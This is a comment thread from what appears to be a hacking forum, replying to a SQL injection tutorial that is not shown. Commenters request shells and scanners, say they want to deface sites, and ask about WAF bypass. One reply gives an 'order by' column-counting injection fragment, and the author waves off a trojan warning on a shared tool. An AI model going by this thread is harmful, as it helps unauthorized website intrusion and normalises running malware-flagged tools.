I'm afraid I'm going to have to wait it out for the video tutorial. However, the written tutorial is very good. And thank you for that.

FutureSec - July 28, 2011, 11:12 am

Great tutorial however, can you please fix the following Broken Links or recommend an alternative for them as this post is pretty old and there might be new Versions out now. Also if Exploit Scanner works better can you post the link, never tried it.

Vulnerability Scanner. (Both Broken)

[img]<http://img20.imageshack.us/img20/7982/brokenk.jpg>[/img]

Shells. (Broken)

[img]<http://img94.imageshack.us/img94/2713/broken2b.jpg>[/img]

BTW.

Text to ASCII Converter link is Broken also.

Scarv - August 1, 2011, 8:37 am

Thank you so much for the admin control panel finder <33

Oh wow you helped me so much ;D

????d?? ? - August 16, 2011, 11:48 am

Very nice tutorial Deflate. Well organized and understandable. Good job on the tutorial and thanks for sharing the tools!

blackcrispy - August 16, 2011, 12:41 pm

woooow.. nice tutorials,,i will try now... bravo
i want deface site

hellhit - August 16, 2011, 1:55 pm

good tutorials, i will try nice job...
thank you very much, my friend

Eplison4 - August 18, 2011, 3:14 am

Totally all ppl here weer profesionall hacker...
Wonder can i be like them too?
Anyone here can teach me from A - Z?
too much information in my head..

FuSiiOn - August 18, 2011, 3:42 am

Do you have to put space on 'order by'? and caps on 'union select'?

Basics. - August 18, 2011, 4:01 am

(Aug 18, 2011 03:42 AM)FuSiiOn Wrote: [\[CITE\]](#) Do you have to put space on 'order by'? and caps on 'union select'?

No, you understood it wrong. If it's okay with OP I will help you guys out.

When you find a vulnerable website, let's say <http://www.site.com/page.php?id=1> and you know its vulnerable, you put a space, so it would be id=1 order by [number]--. It doesn't make a difference whether it is in caps or not.

'Green. - August 28, 2011, 11:05 am

Very Nice Tutorial ! And Usefull !
:)

Donkey` - August 28, 2011, 11:17 am

Woah, time to read all about SQL Lol.

GorillaGlass - August 28, 2011, 12:52 pm

Nice Thread and Thanks and also update link

rinor4ever - December 2, 2012, 9:20 am

Links (Vulnerable Scanner, Shell:) are dead. Reupload them,...

HyRAL - December 2, 2012, 12:03 pm

(Aug 1, 2010 02:32 AM)Deflate Wrote: [\[CITE\]](#) [color=red]Admin Finder: [spoiler]

<http://seanstar.000space.com/> & <http://newbie.000space.com/sql%20scanner/> or you can use Exploit

the links don't work man , can you give me the names of the scanners i have been using dork3r.py
4 scanning the net 4 vulnerable pages but its boring it always gives me the same pages

Deflate - December 2, 2012, 3:35 pm

Updated [03.12.2012]

- Vuln Online Scanners
- New added Admin Online Finders

Swagip - December 3, 2012, 8:45 am

Awesome man! Have tried using this and it works! Thanks!

w3areanonymous - October 27, 2013, 9:07 am

Thanks for this tutorial. Well done and easy to do kind regards

cianw1 - January 8, 2014, 5:57 pm

Looks like a leechd tutorial to me. You don't explain much + rush over things.

Rexbro - January 8, 2014, 6:32 pm

very nice well done! i love it and works great!

BisterKey - October 11, 2014, 1:35 pm

Thanks for this tutorial. Well done and easy to do kind regards

Delpix - October 12, 2014, 4:38 am

Thanks! It's like a amazing, nice tut. :)

xJ2eaction - October 13, 2014, 7:37 am

Can you say me what i must doin German ?

Burnzies - October 14, 2014, 4:56 pm

(Jan 8, 2014 06:57 PM)cianw1 Wrote: [\[CITE\]](#) Looks like a leechd tutorial to me. You don't explain much + rush over things.

Did you just seriously just grave-dig this thread to criticize a trusted ub3rs honesty? ?

How bout using your brain - October 15, 2014, 2:12 am

(Oct 14, 2014 04:56 PM)Burnzies Wrote: [\[CITE\]](#) to criticize a trusted ub3rs

being ub3r doesn't deserve more trust and especially it doesn't make you immune to critic...

but yes grave-digging sucks...

Sought - October 16, 2014, 8:35 am

Thanks for the tutorial, its helping a lot.

Deflate - December 21, 2014, 1:30 pm

(Oct 16, 2014 08:35 AM)Porthos Wrote: [\[CITE\]](#) Thanks for the tutorial, its helping a lot.

Thanks is nice to see someone learned and used my steps.

User1999 - December 21, 2014, 2:51 pm

Great tutorial. Clear and easy to understand.

cmind - December 21, 2014, 3:15 pm

thank you i really found this post really helpfull i think i will use these advices

Obimoto - December 21, 2014, 11:11 pm

Well since someone did gravedig this I have a question...

Is the Admin Finder exe supposed to come up as a trojan?

XP

Deflate - December 22, 2014, 2:43 am

(Dec 22, 2014 12:11 AM)Obimoto Wrote: [\[CITE\]](#) Well since someone did gravedig this I have a question...

Is the Admin Finder exe supposed to come up as a trojan?

XP

Every cracking program is a some kind of virus, use VMWare or Sandbox.

Roskov - December 22, 2014, 4:07 am

thanks for the tuto, it's really good .

Obimoto - December 22, 2014, 8:22 am

(Dec 22, 2014 03:43 AM)Deflate Wrote: [\[CITE\]](#) Every cracking program is a some kind of virus, use VMWare or Sandbox.

Well is it not just a tool that checks for different urls until one works?

How would this be seen as cracking software? I mean, sqlmap works the same way (testing different urls), and it doesn't show up as a trojan...

Not tryin to be rude, just wondering...

Deflate - December 22, 2014, 11:32 am

(Dec 22, 2014 09:22 AM)Obimoto Wrote: [\[CITE\]](#) Well is it not just a tool that checks for different urls until one works?

How would this be seen as cracking software? I mean, sqlmap works the same way (testing different urls), and it doesn't show up as a trojan...

Not tryin to be rude, just wondering...

Is tool written by someone (idk who) taken from forums, it maybe got some exploit libs for checking the php urls who cares this is thread about how to sql injection not about the tool if you want use it if not who cares.

cyberphobia - December 23, 2014, 4:25 am

Awesome tut. Love it. I hope I can do this and post pictures

PvM Tristan - December 24, 2014, 12:20 am

Very nice tutorial. Thank you for this.

Gangolian - December 30, 2014, 3:08 pm

This tutorial is much appreciated, a great resource for a good start in the subject of SQL Injection.

roxas07 - December 30, 2014, 7:40 pm

thank for the sharing :) , and i kiss you for that.

RootsLurker - December 31, 2014, 9:48 am

Nice, in depth tutorial, has helped a lot, very confusing to look at for someone who is a noob (Like myself), but slowly gathering info from tutorials like this one

Thanks for taking the time to make this!

~Roots

Di Dier - January 1, 2015, 7:59 am

nice post thank for sharing bro. i am beginner

-*MUDIAGA* - January 1, 2015, 8:08 am

Will look into this, seems nice and very much helpful. Nice tut

atha - February 6, 2017, 1:24 am

What if the login panel IP Protected. I mean allowed to log in from define IP?

djethen - February 7, 2017, 4:37 am

Thanks for explanation mate!

riggedreality - February 8, 2017, 2:34 pm

Thanks a lot for tools OP

dark.heaven - March 4, 2017, 11:39 pm

Tutorial is Awesome! Can i get any manual tutorial for bypass WAF

arijitadin - March 14, 2018, 10:24 am

Thanks for explanation mate!

Deflate - November 17, 2018, 2:18 am

I'm gonna push an update to this thread this week.